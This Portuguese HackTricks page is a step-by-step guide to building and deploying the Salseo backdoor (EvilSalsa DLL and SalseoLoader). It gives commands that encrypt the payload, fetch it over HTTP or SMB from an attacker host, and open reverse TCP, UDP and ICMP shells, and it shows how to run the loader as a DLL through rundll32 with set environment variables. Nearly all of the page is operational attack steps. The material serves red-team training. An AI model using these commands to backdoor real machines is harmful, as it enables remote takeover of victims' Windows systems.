hacktricks/backdoors/salseo.md

7.5 KiB

Salseo

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Compilando os binários

Baixe o código-fonte do github e compile EvilSalsa e SalseoLoader. Você precisará do Visual Studio instalado para compilar o código.

Compile esses projetos para a arquitetura do sistema Windows onde você vai usá-los (Se o Windows suportar x64, compile para essa arquitetura).

Você pode selecionar a arquitetura dentro do Visual Studio na aba "Build" à esquerda em "Platform Target".

(Se você não encontrar essas opções, pressione na aba "Project" e depois em "<Nome do Projeto> Properties")

Então, construa ambos os projetos (Build -> Build Solution) (Dentro dos logs aparecerá o caminho do executável):

Prepare o Backdoor

Primeiramente, você precisará codificar o EvilSalsa.dll. Para isso, você pode usar o script python encrypterassembly.py ou você pode compilar o projeto EncrypterAssembly:

Python

python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt

Windows

EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt

Executar o backdoor

Obtendo um shell reverso TCP (baixando a dll codificada via HTTP)

Lembre-se de iniciar um nc como o ouvinte do shell reverso e um servidor HTTP para servir o evilsalsa codificado.

SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>

Obtendo um shell reverso UDP (baixando dll codificada via SMB)

Lembre-se de iniciar um nc como ouvinte do shell reverso e um servidor SMB para servir o evilsalsa codificado (impacket-smbserver).

SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>

Obtendo um shell reverso ICMP (dll codificada já dentro da vítima)

Desta vez, você precisa de uma ferramenta especial no cliente para receber o shell reverso. Baixe: https://github.com/inquisb/icmpsh

Desativar Respostas ICMP:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0

Execute o cliente:

python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"

Dentro da vítima, vamos executar o salseo:

SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>

Compilando SalseoLoader como DLL exportando função principal

Abra o projeto SalseoLoader usando o Visual Studio.

Adicione antes da função principal: [DllExport]

Instale DllExport para este projeto

Ferramentas --> Gerenciador de Pacotes NuGet --> Gerenciar Pacotes NuGet para a Solução...

Procure pelo pacote DllExport (usando a aba Procurar), e pressione Instalar (e aceite o popup)

No seu diretório do projeto apareceram os arquivos: DllExport.bat e DllExport_Configure.bat

Desinstale DllExport

Pressione Desinstalar (sim, é estranho, mas confie em mim, é necessário)

Saia do Visual Studio e execute DllExport_configure

Apenas saia do Visual Studio

Depois, vá até a sua pasta SalseoLoader e execute DllExport_Configure.bat

Selecione x64 (se você vai usar em um sistema x64, que foi o meu caso), selecione System.Runtime.InteropServices (dentro de Namespace para DllExport) e pressione Aplicar

Abra o projeto novamente com o Visual Studio

[DllExport] não deve mais ser marcado como erro

Construa a solução

Selecione Tipo de Saída = Biblioteca de Classes (Projeto --> Propriedades do SalseoLoader --> Aplicativo --> Tipo de saída = Biblioteca de Classes)

Selecione plataforma x64 (Projeto --> Propriedades do SalseoLoader --> Construir --> Alvo da plataforma = x64)

Para construir a solução: Construir --> Construir Solução (Dentro do console de Saída o caminho da nova DLL aparecerá)

Teste a Dll gerada

Copie e cole a Dll onde você quer testá-la.

Execute:

rundll32.exe SalseoLoader.dll,main

Se nenhum erro aparecer, provavelmente você tem uma DLL funcional!!

Obter um shell usando a DLL

Não se esqueça de usar um servidor HTTP e configurar um listener nc

Powershell

$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main

CMD

set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: